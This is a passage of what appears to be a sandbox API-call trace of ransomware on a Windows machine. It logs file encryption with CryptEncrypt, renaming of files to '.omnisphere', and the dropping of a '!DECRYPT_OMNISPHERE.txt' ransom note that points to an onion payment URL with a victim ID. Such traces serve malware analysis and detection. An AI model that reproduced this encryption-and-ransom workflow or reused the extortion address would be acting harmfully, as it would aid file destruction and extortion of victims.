GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.744] GetTickCount () returned 0x115fa0c [0126.744] GetTickCount () returned 0x115fa0c [0126.744] GetTickCount () returned 0x115fa0c [0126.744] GetTickCount () returned 0x115fa0c [0126.744] GetTickCount () returned 0x115fa0c [0126.744] GetTickCount () returned 0x115fa0c [0126.744] GetTickCount () returned 0x115fa0c [0126.744] GetTickCount () returned 0x115fa0c [0126.744] GetTickCount () returned 0x115fa0c [0126.744] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ce0) returned 1 [0126.745] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.745] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.745] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.745] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0126.745] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x398, lpName=0x0) returned 0x288 [0126.745] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x398) returned 0x1480000 [0126.745] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0126.746] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.746] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.746] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.746] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.746] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.746] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.746] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.746] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.746] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.750] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.750] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.750] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.750] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.750] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.750] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.750] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.750] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.750] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.750] GetProcessHeap () returned 0x1600000 [0126.750] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16ebe38 [0126.750] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oTth.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\otth.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oTth.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\otth.lnk.omnisphere")) returned 1 [0126.751] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oTth.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oTth.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oTth.lnk.omnisphere.id" [0126.751] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oTth.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\otth.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.752] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.753] CloseHandle (hObject=0x3c0) returned 1 [0126.753] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.753] CloseHandle (hObject=0x288) returned 1 [0126.754] SetEndOfFile (hFile=0x28c) returned 1 [0126.754] FlushFileBuffers (hFile=0x28c) returned 1 [0126.775] CloseHandle (hObject=0x28c) returned 1 [0126.775] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oTth.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.775] GetProcessHeap () returned 0x1600000 [0126.775] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ed038 [0126.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.775] GetProcessHeap () returned 0x1600000 [0126.775] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5730 [0126.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5730, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.775] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.776] GetProcessHeap () returned 0x1600000 [0126.776] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8168 [0126.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8168, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.776] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.776] GetProcessHeap () returned 0x1600000 [0126.776] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8928 [0126.776] PathCombineW (in: pszDest=0x16d8928, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.776] GetProcessHeap () returned 0x1600000 [0126.776] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16db918 [0126.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.776] WriteFile (in: hFile=0x28c, lpBuffer=0x16db918*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16db918*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.777] CloseHandle (hObject=0x28c) returned 1 [0126.777] GetProcessHeap () returned 0x1600000 [0126.777] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ed038 | out: hHeap=0x1600000) returned 1 [0126.777] GetProcessHeap () returned 0x1600000 [0126.777] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.777] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.777] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.777] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.778] CloseHandle (hObject=0x28c) returned 1 [0126.778] GetProcessHeap () returned 0x1600000 [0126.778] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.778] GetProcessHeap () returned 0x1600000 [0126.778] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b6c8 | out: hHeap=0x1600000) returned 1 [0126.778] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1edd5fed, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1edd5fed, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1edd5fed, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x321, dwReserved0=0x0, dwReserved1=0xd3, cFileName="oxxU4lUO6NucKoKNkRfi.lnk", cAlternateFileName="OXXU4L~1.LNK")) returned 1 [0126.778] GetProcessHeap () returned 0x1600000 [0126.778] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x166ab78 [0126.778] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="oxxU4lUO6NucKoKNkRfi.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxxU4lUO6NucKoKNkRfi.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxxU4lUO6NucKoKNkRfi.lnk" [0126.778] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxxU4lUO6NucKoKNkRfi.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oxxu4luo6nuckoknkrfi.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.779] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=801) returned 1 [0126.779] 